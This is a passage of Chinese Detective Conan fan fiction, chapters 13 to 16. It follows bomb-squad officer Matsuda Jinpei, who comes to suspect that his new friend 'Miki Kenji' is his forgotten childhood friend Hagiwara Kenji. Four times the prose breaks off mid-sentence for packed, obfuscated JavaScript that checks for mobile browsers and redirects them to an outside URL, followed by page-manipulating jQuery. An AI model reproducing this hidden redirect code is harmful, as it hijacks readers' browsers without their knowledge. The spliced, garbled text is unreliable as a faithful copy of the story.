松田阵平完全没能理会到他曲折的脑回路,但是他昨晚确实也做了个很温暖的梦,于是隐去前因后果,用梦来指代自己最近看到的画面:“我最近也做了个好梦。” 他三言两语概括了那些画面,最后总结:“如果真的有这么一个朋友,我应该会很开心。” 松田阵平说得轻巧,萩原研二却一个手抖把叉子上的慕斯蛋糕给弄掉了。 小时候家里破产? 有个姐姐? 姐弟两个小时候长得很像? 13.第 13 章 萩原研二背对着那扇落地窗坐着,温暖的午后阳光把他的背照得暖烘烘的,却照不亮他的表情。 他原本绮丽的紫眸现在深得看不见底,低垂着眼看自己盘子里那块被摔得惨不忍睹的蛋糕。 为了当卧底,公安抹去了他人生前21年生活在阳光下的痕迹,昔日的朋友、最亲的家人都鲜少能联系得上他,原本热爱社交的他自觉与所有人保持距离。 降谷零第一次在组织里见到他的时候差点没控制住表情,后来私底下问他怎么会愿意来当卧底。 萩原研二当时一边抽烟一边这样回答:“其实我也没想到。我被邀请去当公安当卧底的时候也犹豫过,也退缩过。我没有小降谷你们这么高尚的节操,我本来只是想找一份不会失业的职业,但是后来我想,这件事总得有人做,不是我也会有别人,如果他们觉得我更合适,那就我做吧。” 当卧底比他想象中还要苦得多,看得见、看不见的硝烟,在自己手上溅开的红色,无处不在的谎言和罪恶,所有的一切都浓缩成压在心上化不开的黑暗,压得萩原研二连梦里都得不到一丝喘息。 所以能让他做一场好梦的松田阵平对于萩原研二来说,是一束光,是一束热烈的、能不容拒绝地驱散掉那些快化为实质的黑暗的光。 但是现在却告诉他,这束光也可能是假的?只不过是来自组织的又一次试探?都挖到他小时候的事情了,那他是不是已经暴露了? 不对,如果已经是暴露,不会那么平静,那么就是还不够确定,才派了人来试探—— “三木,你怎么了?”听完他的讲述后,不仅一句话都没说,还把蛋糕都摔了,松田阵平皱眉,把可能性在脑海里迅速过了一遍都找不到合适的理由来解释眼前人的反应,只能开口问。 不要急,只要对方还没撕破脸皮就还有周旋的余地,更何况……如果真的只是巧合呢?试一下吧,用那个。 萩原研二露出一个不好意思的笑容,还伸出手握住松田阵平的手腕轻轻晃着:“对不起啊小阵平,我是因为刚刚吃了一口这个蛋糕,发现里面竟然加了【田纳西威士忌】,我实在讨厌这种酒,一点也接受不了,就没控制住自己的动作了。” 松田阵平看了看那块已经看不出原样的蛋糕,在对方接近撒娇的动作里算是接受了这个解释,调侃道:“你的味觉竟然不止能分辨出里面加了酒,还能分辨出酒的种类,如此灵敏的味觉,难怪那天吃了烤鱼块后反应那么大。” 心跳平稳,他对田纳西这个代号毫无反应。 萩原研二顿了顿,脸上的笑容变得真情实感:“还不是因为想试试小阵平喜欢的食物嘛~” 他收回了握在松田阵平手腕上的手,害怕被对方发现自己下意识的颤抖。太好了,小阵平不是组织派来的人,还是他的那束光。萩原研二觉得自己体内接近冻结的血液开始重新欢快地流动。 不过经历过这么一场乌龙后,他们也无心再吃甜品了。萩原研二把东西都收拾好,然后终于拿出来今天的重头戏,模型。 两个人坐在舒服的人体工学椅上,在足够宽敞的工作台上开始拼模型。 松田阵平不是个爱说话的性格,在拼模型时尤甚,他原本以为性格活泼的三木贤治会一边拼一边滔滔不绝,都做好了忍受的准备。结果对方竟然跟自己一样,开始组装之后就几乎不说话,注意力全在眼前的模型上。 更令他惊讶的是,他们明明才认识一周不到,之前更是从未在任何方面合作过,但此时竟感觉到难言的默契。只是一个眼神,他们就明白对方下一步的动作并给予配合。 他们就好像是彼此的另一半灵魂。 堪称酣畅淋漓地拼完一个模型之后,萩原研二和松田阵平都从对方眼里看到惊喜。 萩原研二把下巴埋在手臂里,露出一双亮闪闪的眼睛:“小阵平,我们真的很有默契哎,感觉双生子都不一定能比得上我们呢!” 松田阵平也赞同:“有时候我看你的一些动作,就觉得如果是我的话也会先拼这一步。我们在这方面的思路很接近。” 他忽然就犯起了职业病:“如果贤治你是我的同事就好了,他们经常跟不上我思路,每次都要解释也很麻烦。”松田阵平笑着发起邀请,“不要写小说了,跟我一起进爆处组吧,专业知识由我来给你补上,我们会是最合拍的搭档。” 萩原研二那颗心瞬间就不受控制地加快跳动了。搭档,四舍五入就是情侣了啊! 可恶,研二酱回去就跟长官打报告说他不当什么劳什子卧底了,也不当公安了,他要转去爆处组!虽然也是高危职业,但是说不定能被和小阵平并称为类似于“爆处组双子星”的称号,想想就很美好。 萩原研二脑海中快速地做了个白日梦,然后只能平淡地正视现实。 他承诺道:“我还有个很重要的目标没达成,如果我能看到目标完成的那天,小阵平又还没嫌弃我的话,我一定要申请进入爆处组缠着小阵平!” 虽然萩原研二脸上一直挂着看似轻佻的笑容,但是在此刻松田阵平能看得出他眼里的认真,也正色道:“只要我还在爆处组,就随时欢迎你的到来。” 拥有这样的头脑和拆卸能力,即使现在没有相关知识,上手也会比一般人快很多。 由于午餐吃得比较丰盛,饭后还吃了一顿点心,所以当萩原研二说要带他去一家意大利餐厅的时候,松田阵平想了想说要不晚上吃简单一些吧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200709|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >二十分钟后,两个人就坐在便利店的用餐桌旁,一人一杯关东煮加两个饭团。 诸伏景光作为搜查一课的刑警,也不是每晚都能准时下班回去做饭的,连日连夜地蹲犯人的情况时有发生,这个时候松田阵平就会选择在便利店随便吃几口满足最基本的生理需求。 他原本以为吃穿用度看起来都很讲究的萩原研二会不喜欢在便利店这种实在和高端一点关系也没有的场合吃饭,结果对方点餐甚至比他还熟练。 大概是看懂松田阵平没说出口的疑问,萩原研二主动解释道:“有时候忙起来,也会随便吃几口,便利店的食物虽然说称不上好吃但胜在方便快捷、出品稳定。而且……小时候有段时间家境不是很好,到我长大了、工作了才慢慢好转。” 作为卧底,他和降谷零都积极接受组织下派的任务,努力为公安获取更多的情报。但是这样做的代价就是经常日夜颠倒,饮食极不规律,萩原研二就曾经为了获得一个实验室的情报,藏在他们零下10度的材料储存室一天一夜,出来的时候眉毛都结霜了,站在路灯底下感觉自己像一块正在融化的冰。他用尽最后的力气走到最近的24小时便利店吃下第一口热腾腾的关东煮,氤氲的热气让一颗水珠从他眉毛处“啪”地砸在桌上,把过来准备要联系方式的收银员给吓了一跳,以为他吃着吃着就哭了。 两人吃完简单的一餐后,松田阵平站起身来说要去洗个手,在洗手的间隙顺便把自己的每日答题给做了。 然后他盯着自己手上出现的碟片陷入了沉默。 这种碟片,是在电视上如果说出名字会被【哔】的类型啊! 松田阵平拆弹时稳得不行的手此刻却捏着碟片微微颤抖——指因为大脑里正在天人交接能不能把它就地捏碎的挣扎。他今天依旧穿着黑色西装裤加黑色外套,无论是上衣还是下装,口袋的大小都没法塞下正正方方的碟片。 他要怎么跟新交的朋友解释,他只是去了趟洗手间,手里就多出了一张十八禁碟片? “小阵平你怎么了,这么久——”萩原研二左等右等都等不到说手上沾了关东煮酱汁要去洗个手的松田阵平,不放心于是过来看看什么情况,结果一推门就看到松田阵平拿着什么东西在发呆,他看了一眼,也呆住了。 松田阵平捏得碟片的塑料壳子发出不负重荷的嘎吱声:“……如果我说,这个东西是忽然掉在我手上的,你信吗?” 这种借口三岁小孩都不会信吧! 虽然萩原研二没有开口,但松田阵平从他眼神里读懂了他强烈的吐槽,绝望地闭上眼睛。 如果这个碟片真的属于以前的他,那他忍了,但如果是那个幼驯染的,他找到人之后非得来个友好的较量!! 14.第 14 章 眼看着松田阵平一张完美的脸即将露出不完美的表情,萩原研二立即放弃自己逗人的想法。 “我开玩笑的啦小阵平~我知道这个肯定不是你的,来历不明的话我们把他扔掉吧?” 毕竟他今天几乎一直和松田阵平待着,以他的观察力能看得出对方衣着里并没有藏这个,更何况他带着碟片到处走然后还在厕所拿出来能干嘛?这里又没有可以放映的设备。虽然有把藏有什么资料的碟片交给第三人的可能性,但是萩原研二刚放下对松田阵平的怀疑,并不愿意在没有证据的情况下进行阴谋论。 松田阵平面无表情,他要怎么跟对方解释他还要把这个带回去? 啊好烦啊。 也不知道萩原研二是怎么从他下撇两个像素点的嘴角看出他听到刚刚那句话后更不爽的,总之他还是那个最贴心的研二酱:“小阵平是想调查一下它吗?可以哦,我帮你吧~” 他从上衣口袋里抽出一条很雅致的淡青色手帕,把碟片的封面部分盖住了,拿在手上,然后出去找了店员小姐姐,用他无往不利的笑容拿多了一个袋子把它装起来再递回去给松田阵平。 卷毛警官一脸复杂地接过袋子,再一脸复杂地开口:“……谢谢了。”他保证,等他从这该死的碟片上获得记忆之后,就立马销毁它! 萩原研二忍了忍,没忍住:“小阵平,你会喜欢看这类——好了好了我知道你不看了!!不要用这种立马绝交的眼神看着我!” 他连忙将功补过,拉着松田阵平的手往外走:“走吧走吧,小阵平我们去兜风~” 等到松田阵平坐在萩原研二那辆被涂成骚包紫的马自达副驾驶上的时候,他还不知道自己要经历些什么。 一开始的路段因为还在市区内,萩原研二压着不会被交警跟在屁股后面追的速度开过,等出了郊区,上了山,萩原研二开始起飞。 松田阵平一开始被巨大的加速度紧紧压在副驾驶座位上,又在眼瞧着要到一个大转角的时候像是冥冥之中感觉到什么般自觉拉上扶手,一头天生的卷毛在半敞开的车窗中呼啸着凌乱。 松田阵平:“……”这人到底是不是忘记他在开车了,以为自己在低空飞行? 但是不知道为什么他适应得很快,从一开始的惊讶,慢慢变得淡定,到后面甚至自从屏幕出现之后产生的、他不愿承认的轻微压抑,仿佛也随着这快速流动的空气从这车窗中飘散掉。 在又一阵风驰电挚后,车一个摆尾在山上一片平地停下来。 车停下来的几分钟内,都没人下车,也没人说话。 松田阵平还在下意识慢慢回味这种轻松感,而萩原研二则是在畅快地飚完车才后知后觉开始紧张。 他作为卧底,甚至不能向松田阵平透露出自己的真实姓名,但是他又无法抵抗地向心上人靠近,想让对方更了解真正的自己。 萩原研二从来都不是表面上看起来的循规蹈矩,他小时候捣蛋时能成功逃避长辈的责怪,上学时会偶尔逃些无伤大雅的课,后来更是早早学会抽烟喝酒飙车。 他想让松田阵平知道这样的他,光彩照人是他,不羁自由也是他。 萩原研二小心翼翼地看向松田阵平,已经做好了对方一脸回不过神或者难受到生气的表情,如果只是无奈地吐槽他几句就最好了。 但他竟然看到松田阵平上扬的嘴角。 这是萩原研二最好的设想里都不会出现的情况。 小阵平。 松田阵平。 这就是他的光,是他甘愿承担所有风险靠近的人。 萩原研二忽然解开安全带,侧身前倾抱住了松田阵平。 后者猝不及防被抱住,脸上的笑意化为疑惑,但是他已经习惯了萩原研二的跳脱,犹豫了几秒后抬手拍拍对方抱住自己的手臂:“怎么了?” 没错,就是这样,明明看起来拒人千里之外,但是对自己却一直都那么包容。 萩原研二埋在松田阵平肩颈处的脑袋慢慢蹭了蹭,过长的发丝扫过松田阵平裸露的皮肤,痒得他下意识蜷缩了一下,又被更紧地抱住。 “我只是没想到小阵平第一次坐我的车就能接受,太惊喜了~”萩原研二抬起头来看着他,两个人的距离前所未有的近,“研二酱大感动,感动得要哭了!” 等等,不要真的哭啊?! 松田阵平看着萩原研二那个几乎是漫画里荷包蛋形状哭哭眼的具象化表情,感觉自己脑门上大概也出现了一个忍无可忍的十字。 他抬手用不轻不重的力度弹了一下萩原研二的脑门,把他“弹离”自己的身上。 “痛——小阵平为什么要打我QAQ”萩原研二用手捂着被弹过的地方,控诉道。 虽然松田阵平很清楚自己下手并不重,至少不会让一个成年男性喊痛的程度,接收到对方的委屈光波时还是下意识移了下目光,并试图转移话题:“你今晚不会就是想让我试试看你的速度与激情的吧?这里有什么特别的吗?” 萩原研二也觉得自己可怜卖够了,再卖就要被嫌弃了,于是顺理成章接上松田阵平的话:“可以看到很漂亮的风景哦~我们下车吧。” 他带着松田阵平走到前面,那里有一块平整的、两个人坐上去绰绰有余的石头,目之所及的,还有整片城市的璀璨灯火。 松田阵平承认,自己确实没从这个角度看过这座城市。星星点点的灯光从脚下一直向远处流淌,如同天上的银河倒映。 他忽然感觉自己的衣角被轻轻拽了一下,低头一看,萩原研二不知何时已经坐在了石头上,此时正示意自己坐到他旁边的空位上。 石头有些凉,很快就被人体的温度给捂热。入秋的晚上也有些凉,可松田阵平是身强力壮的年轻警察,也不至于因为这点凉意感冒——然后就有一股热度安静地、悄悄地贴上来。 他默默转过头,就看到萩原研二一双下垂眼里满是笑意:“我怕小阵平觉得冷嘛~” 松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14210253|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 田阵平“呵”了一声:“我看是你觉得冷吧。”却终究还是没有推开萩原研二或者自己挪开一点。 和萩原研二共处的这段时间里,他算是发现了这人长得比他还高,却有着成年男性里罕见的黏人性格。 反正他们两个都是男的,靠得近一点也没关系吧?松田阵平有些不确定地想。 因为气场的缘故,即使松田阵平长相相当优越,也没多少人敢靠近他。而自小与他一起长大的挚友诸伏景光虽然为人温和易相处,但内里却是独立冷静、在认定的事情上有点固执的性格,警校时结为好友的伊达航又性情爽朗,所以这还是松田阵平第一次感受到这么直白地被人依赖。 陌生,却感觉不坏。 他不知道此时的萩原研二已经在思考怎么得寸进尺了,怎么办呢,越靠近小阵平就越贪心,只想快一点,更快一点让小阵平变成自己的。 松田阵平凫青色的眼眸里映着万家灯火,让萩原研二觉得,那就是他的家。 “小阵平有没有想过以后会有什么样的家庭吗?” 这个问题突兀得松田阵平想了一下才回答:“才20岁出头就想到以后成家的事情了吗?你不会像伊达一样想给我介绍对象吧?我在这方面暂时没什么想法,总觉得时机到了就能遇到合适的人吧。” 伊达,又出现了个新名字,而且竟然还试图给他的小阵平介绍对象。 萩原研二压下心头隐隐的不快:“这位伊达先生也是小阵平的朋友吗?那小阵平有去吗,联谊之类的?” 松田阵平点点头:“伊达是在警校期间的班长,跟我、诸伏关系都不错。所以我们实在拗不过他的时候就会被拉去联谊,不过去了也只是吃吃喝喝,次数多了他就放弃了。” 顿了顿,他忽然转头用促狭的眼神看向萩原研二:“我倒是以为三木你会是热衷于联谊的性格,甚至在收到今天具体安排之前有猜测你会不会拉我去联谊。” 在当卧底前确实很喜欢联谊的萩原研二:“……”无法反驳。 “以前确实是啦,但是这两年没怎么去了,所以小阵平不用担心哦~” 松田阵平反问道:“那你呢?你想要什么样的家庭?” “如果是问以前的我,那我应该会回答想要个温柔可爱的妻子,然后给孩子一个幸福的童年。但现在我发现原来那句【喜欢上的人往往不是自己理想型】是真的。” 松田阵平惊讶:“你已经有喜欢的人了?” 萩原研二侧脸看着他,他们两个本来就肩并肩,如果都侧着脸的话甚至能清晰感受到彼此的呼吸。他那双下垂眼安静地注视着松田阵平,说出来的话语又轻又软:“是啊,虽然现在暂时还不能告诉小阵平,但是距离那一天应该不远了。” 松田阵平能看到他的紫眸里有个完整的、小小的自己,心里也有什么随着他的话语变得柔软。 过于陌生的感觉让松田阵平有些不适应地把头转回去:“那我就等着那一天。” 15.第 15 章 等松田阵平回到公寓的时候,距离零点只剩下半小时。 他在玄关处的鞋柜看到了诸伏景光的拖鞋,估摸着是有什么临时紧急任务,然后果然在厨房的冰箱上看到贴了张纸条: 刚班长通知有紧急情况,中午之前我应该都回不来了。冰箱里有我今天顺手多做的饭团,你可以用微波炉加热当做早餐。——景 松田阵平打开冰箱,果然看到显眼的地方放了三个用保鲜膜裹起来的饭团。 于是他虔诚地双手合十:“感谢景老爷的馈赠。” 说了这句欠打的话后,松田阵平把目光放到自己带回来的两个袋子上。 一个是松田阵平内心咒骂了无数次的碟片,一个是和三木贤治告别的时候,对方送给他的,也是今天他在对方家里客厅看到的那个白色礼袋。 考虑到碟片有可能会让他立马陷入回忆并用时较久,松田阵平先拆开了白色礼袋。 里面是一件白色西装,一件藏蓝色的衬衫和一条同色的领带。 他把衣服拿出来后发现袋子底部还有张粉色的卡片,上面写着:虽然小阵平看起来很喜欢黑色,但是偶尔也可以试试其他搭配呢~ 后面还画了个Q版的自己充当署名。 松田阵平啧了一声:这家伙,该不会是嫌弃自己的品味吧? 不过他确实没想过买其他颜色的衣服,本来就不是喜欢打扮自己的性格,之前的衣服穿旧了或者不合身了,去买衣服的时候也总是下意识直奔黑色西装。所以伊达航也曾当着他的面跟诸伏景光开玩笑,问他有没有看过自己幼驯染的衣柜,里面是不是都是一模一样的黑西装。 松田阵平把衣服放在一边,打算等下把它们和今天的衣服一起拿去洗衣机洗,然后就拿出了那张被手帕遮住外壳封面的碟片。 他把手帕取下来放在新衣服上,掰开了碟片的外壳。里面是个光盘,光盘上用油性笔写了一句“小阵平是猪(* ̄(oo) ̄)”。 ……小阵平? 就在松田阵平先暂时按下称呼这个疑点,纠结着要不要把碟片放进电脑里播放时,眼前的画面一闪,他出现在一间陌生的房间。 这次他终于可以看见画面里自己的脸了,但是另一个人的脸还是模糊的。 小松田阵平盘腿坐在花花绿绿的床上,从身型来看应该是上高中前后的时间了。他声音听起来有点不爽:“hagi把我拉过来干什么,不是说好今天要去我家继续研究从学校借来的模型了吗,秃头主任只肯借两天哎,明天再不还回去又要被他叽叽歪歪了。” 小萩原研二正在捣鼓款式古早的台式电脑:“小阵平不要再这么叫田中主任啦,小心他听到脱下假发来打你。模型晚点再去搞嘛,今天我可是弄来了一个好东西,听小早间说这可是男生间现在最流行的!” 小松田阵平打了个哈欠:“那家伙能有什么好东西……” 小萩原研二神秘地说:“小阵平肯定还没看过这种吧,今天研二酱就带你见见世面~” 这个时候电脑上应该开始播放画面了,于是两个少年也暂时安静了下来,开始把注意力放到屏幕上。 看着看着,就算是在这方面比较迟钝的小松田阵平也意识到不对了,一双本就又大又亮的眼睛此时睁得圆滚滚的,脸颊也迅速变得通红,双手并用地往后爬了几下,好像电脑里有洪水猛兽即将爬出来。 “你怎么看这种东西啊!” 小萩原研二本来还觉得看着无聊,没想到自家幼驯染反应那么大,反而勾起了他的恶趣味。 他原本跟小松田阵平并排坐在床上,现在小松田阵平都差点退到床的另一边了,于是他坏笑着走下床,走到小松田阵平背后,推着他靠近电脑屏幕。 小松田阵平由于坐着的姿势不太好发力,竟真的被幼驯染推着往前挪动了,眼瞅着那些少儿不宜的画面距离自己越来越近,干脆倒下躺在床上闭眼,来个眼不见为净,再用双手捂住耳朵。 小萩原研二总不能用手把他的眼皮给撑开,只能不甘不愿地又坐下来:“我倒要看看小阵平能保持这样的姿势多久!” 然后十分钟后,他就听到了好友小小的打呼声。 卷发的少年睡得很香,原本捂着耳朵的双手自然松开了,摊在脑袋两边显得可爱又滑稽。 小萩原研二:“……” 就算成年版松田阵平看不见小萩原研二的脸,他也能感受到对方的哭笑不得。 小萩原研二无语了片刻,终于不再折腾。他从电脑主机里取出光盘,准备随便丢进抽屉里的时候灵光一闪,拿出油性笔在光盘上写了句话,然后偷偷塞进了松田阵平的书包夹层里。 做完这一切,他看了看睡着睡着翻了个身的小松田阵平,嘀咕道:“原来睡意是会传染的吗?果然还是小阵平昨天拉着我研究模型到那么晚的错。” 于是小萩原研二也爬上了床。单人床并不能舒服地容纳下已经长手长脚的两个少年,他只能侧着躺下,手臂搭在小松田阵平腰间,几乎是把对方半抱在怀里,也很快睡着了。 这个年龄的男生按理说应该已经很有领地意识了,也不知道他们怎么还能这么亲密地在一张床上睡觉。 就在画面缓缓消失的时候,松田阵平弯腰,即使知道自己触碰不到他们也还是伸手揉了揉两个人的头发:“或许下次再见,你们已经长大了。”到时候,不知道又是怎样的故事。 他在向自己未曾经历过的少年期间做告别。 意识回到现实,松田阵平垂眸看着碟片上手写的那句话半晌。 “小阵平”。 在他记忆里的22年,只有一个人会这么叫他。 三木贤治。 松田阵平回想起从屏幕出现后的每一个细节。先是提出他真正的幼驯染另有其人,然后第一个每日答题就把他引去了一家他从未踏足过的模型 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223788|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店,在那里他认识了三木贤治。 三木贤治。贤治。研二。 唯一一个会称呼他为“小阵平”的人。 这会是巧合吗? 松田阵平又想起他们第二次见面是在案件现场,经济实力不俗的三木贤治竟穿着服务生的服饰出现在那里,但后来三木贤治也能用自己是小说家需要体验人生的理由来解释。 还有更多更细小的疑点,譬如为什么三木贤治作为小说家,家里最多的不是书、文稿之类的而是模型,为什么他挑选的都是人流较少的地方…… 仿佛从屏幕出现的那一刻起,就是三木贤治针对他设下的巨大阴谋。 松田阵平作为一名足够优秀的拆弹警察,他远比外表看上去的还要细心。要在密密麻麻的炸弹线路里找到合适的那条,但凡他细心和耐心这两点中缺少哪一样,现在都不能安稳地站在这里。 他不是没有发现这些疑点,但松田阵平在与人相处这方面是个直觉系,他从头到尾都没能从三木贤治身上发现一丝一毫对于他的恶意,之前便也不愿这么去揣测自己这位新朋友。 还有后来在三木家吃甜品时,他无意透露出的,关于“萩原研二”的一些消息,当时三木贤治似乎被吓到了。如果三木贤治真的是那个想让他“误以为萩原研二才是他真正的幼驯染,而三木贤治就是萩原研二”的人,那他根本不会有那样真实的反应。 所以,松田阵平现在的猜想是,三木贤治确实就是萩原研二,屏幕所说的真正的幼驯染。 目前可以验证这个猜想的证据还太少,如果确实如此,那三木贤治为什么不愿意透露出自己真正的身份也是个疑点,而且他看起来也同样没有和松田阵平是幼驯染的记忆。 松田阵平的视线移到了待洗新衣服上面的粉色卡片。 他不是专业人士,无法从更细的笔触之类的细节去判断卡片上的字和碟片上的字迹是不是同一个人的,单从字体风格来说,完全看不出来是同一个人写的。但毕竟从画面里看到的年纪到现在,也过去了六七年,字迹看起来不一样也很正常。 松田阵平打算工作日上班的时候拜托鉴定科的同事帮忙分析一下粉色小卡和碟片——当然他会用其他正常的塑料外壳代替的,否则他的名声不知道会变成什么奇怪的形状。虽然就算排除掉碟片,这个粉色卡片也很可疑就是了。说不定前脚送去鉴定科,后脚他就能听到自己被男性追求的谣言,警视厅的人还真是八卦得离谱。但是难得有个重要线索,松田阵平不想轻易放弃。 要不是看到的记忆画面不能录下来,松田阵平甚至想下次和三木贤治见面时用录音笔录下他喊“小阵平”的声音,然后一起拿给鉴定科去对比当时还处于变声期的少年音和现在的声音是不是出自同一个人。 如果现在的证据不够确认或者推翻,那就慢慢来,一点点取证,总有水落石出的那天。 心浮气躁乃是大忌。 16.第 16 章 结果松田阵平还没来得及去验证他的猜想,也没来得及把东西拿给鉴定科,先迎来的是诸伏景光的受伤。 周日早上七点刚过没多久,还在睡梦中的松田阵平就被电话吵醒了。 由于职业的特殊性,松田阵平的手机24小时都要处于畅通状态。 他先是接到直属长官的电话,得知有处地方发生了爆炸,不清楚还有没有尚未爆炸的炸弹,需要松田阵平带队去现场进行排查。 挂断这通电话后,松田阵平还没来得及起床洗漱换衣服,就又接到了班长的电话。 原来诸伏景光昨晚监守一宗凶杀案的嫌疑人时,发现了另一宗现场凶杀案,在追捕嫌疑人的时候被炸弹波及,虽然烧伤很轻微,但是由于冲击力导致后脑勺恰巧撞到建筑废料,现在还躺在医院里昏迷。 伊达航不放心好友,但他需要接替诸伏景光的工作继续去跟进案件,于是打电话问问松田阵平有没有空去医院陪护自家幼驯染。 松田阵平:“……” 他皱眉,虽然很担心好友,但是职责让他不得不先去现场,于是只能如实告知。 伊达航也是慌乱中忘记了这一点,既然诸伏景光是由于炸弹受伤的,那松田阵平作为爆处组队长,要紧急出外勤的概率自然不低。 他叹了口气说知道了,会拜托其他没任务的搜查一课的同事来暂时看护。 松田阵平“嗯”了一声说他这边会尽早完成然后过去医院接手。 警察的待遇不低,即使在周末的大清早被叫去出外勤,也没人抱怨。爆炸的地点是一家已经倒闭多时的建筑公司,所以没有民众伤亡。 松田阵平让两名队员去疏散旁边零星几家居民,他自己则带着剩下的队员进入现场,果然在两个隐蔽的地方发现了还没被引爆的炸弹。 这两个炸弹的类型松田阵平之前没见过,难度也比一般的炸弹要高出不少,虽然松田阵平五分钟就拆完了一个,但他拆完后才发现自己竟在秋天的清晨里出了汗。 “啧,这次的有两下嘛。” 松田阵平嘴上这么夸赞,眼里却不带丝毫笑意。没有哪一个三观正常的警察会乐意看到高智商罪犯。 在排查炸弹的时候他注意到在窗台的边缘有极不明显的、新鲜的血迹,看样子应该是被随手用什么抹掉但是因为受伤了加上情况紧迫所以没完全抹干净。 窗台附近没有建筑废料,所以应该不是诸伏景光的血——他也没有抹掉自己血迹的必要,那么应该是嫌疑人留下的。 松田阵平不清楚搜查一课有没有注意到这一点,于是在离开现场前给伊达航发了个讯息,然后他自己就直奔医院了。 搜查一课和爆处组的人都知道他和诸伏景光关系极好,于是被伊达航临时抓来看护诸伏景光的同事看到松田阵平出现在病房门口,就知道自己可以交接了。 “他现在什么情况?”因为当时无论是伊达航还是他自己,都急着要出外勤,所以在电话里没能详细说诸伏景光的伤情。 躺在床上的伤者脸色苍白得可怕,头部除了一张脸,剩下的部分被严严实实裹起来了,鼻子里插着氧气管。 他的左手臂缠着绷带,蓝白条纹病服下的上身也隐隐露出绷带的痕迹,没有受伤的右臂绑了机器,正在实时测试心跳血压,手背上还在吊着点滴。 搜查一课的前野警官指了指诸伏景光的左手:“左手小臂烧伤,左侧身体还有些零星的烧伤痕迹但是不严重,主要问题在于头部。刚做了检查,医生说里面有淤血,自行吸收需要时间,不排除压迫到某些神经的可能性。” 松田阵平抿紧了唇,眉毛也皱起来,没有说话,他没想到好友伤得那么重。好在前野警官能理解他此时的心情,甚至还拍了拍他的肩膀安慰他:“诸伏君平时的身体素质不错,相信他很快就会康复起来。” 前野警官走了之后,松田阵平坐在病房的沙发上稍作休息,从早上接到电话开始就在奔波,现在都快中午了,他连早餐都还没吃。 由于松田阵平入职时间尚短,这还是他第一次来警察医院。 作为警察的福利之一,警察医院环境比起普通医院来说自然好上不少,诸伏景光又是因工受伤,被安排在了最好的那档单人病房,不仅有衣柜、电视机、沙发、独立卫浴,甚至还有个小厨房,方便照顾病人的亲朋做营养餐。 可惜真正会做饭的那个才是此刻昏迷不醒的病人,而他这个来照顾的,是个只会把食物煮熟的厨艺小白。 不过……松田阵平看了眼诸伏景光床边的点滴,这个人甚至不知道何时能醒来,估计短期内还是以打营养液为主。 等又一袋营养液被滴完,松田阵平找护士给诸伏景光换药后,肚子里的饥饿感在疯狂抗议,便准备去楼下的便利店买点吃的和饮料拿上去。 没想到还没进便利店,他就看到风尘仆仆、脸色不好的伊达航。 “怎么了?班长你不是去跟进景光的案子?” 伊达航看了他一眼,没回答,而是指了指身后的便利店:“你是不是今天也还没吃东西?我们一起买些上去吧。” 这是不方便在外面场合说的意思。 于是松田阵平也就没继续这个话题了,进便利店拿了瓶乌龙茶,在拿饭团的时候犹豫了一下,想到冰箱里那几个还没来得及吃的饭团,最后挑了个三明治。 等到走进诸伏景光的病房,并且随手把门关上后,伊达航才叹了口气。 松田阵平实在是饿得厉害,一边拆开三明治的包装一边询问:“怎么回事?”他注意到班长看着诸伏景光的眼神很复杂,“跟景光有关?” 伊达航点了点头:“就是今天这个案子,你不是跟我说现场有可能是嫌疑人的血迹吗?所以我们准备回去取样,结果没想到,被公安拦住了。他们通知说,这个案件已经由公安全权接手了,我们不能再插手了。” 这下松田阵平的脸色也变得难看起来了:“公安?” 日本公安的行事作风,让他们的名声不仅在普通民众间不好,在警察内部风评也很糟糕。 他们经常做些违规甚至违法的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233980|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,行事过于强势毫无商量余地,如果是一心为民众就算了,偏偏又以国家利益为重。 诸伏景光为了这个案件受伤,至今还躺在病床上昏迷不醒,而他们甚至连把案件犯人绳之以法的权力都没有,难免让人心寒。 伊达航素来性格爽朗,此时脸上却是遮掩不住的怒意:“公安出现的时机太巧合了,那个血迹不一定是嫌疑人的,还有可能是公安的。” 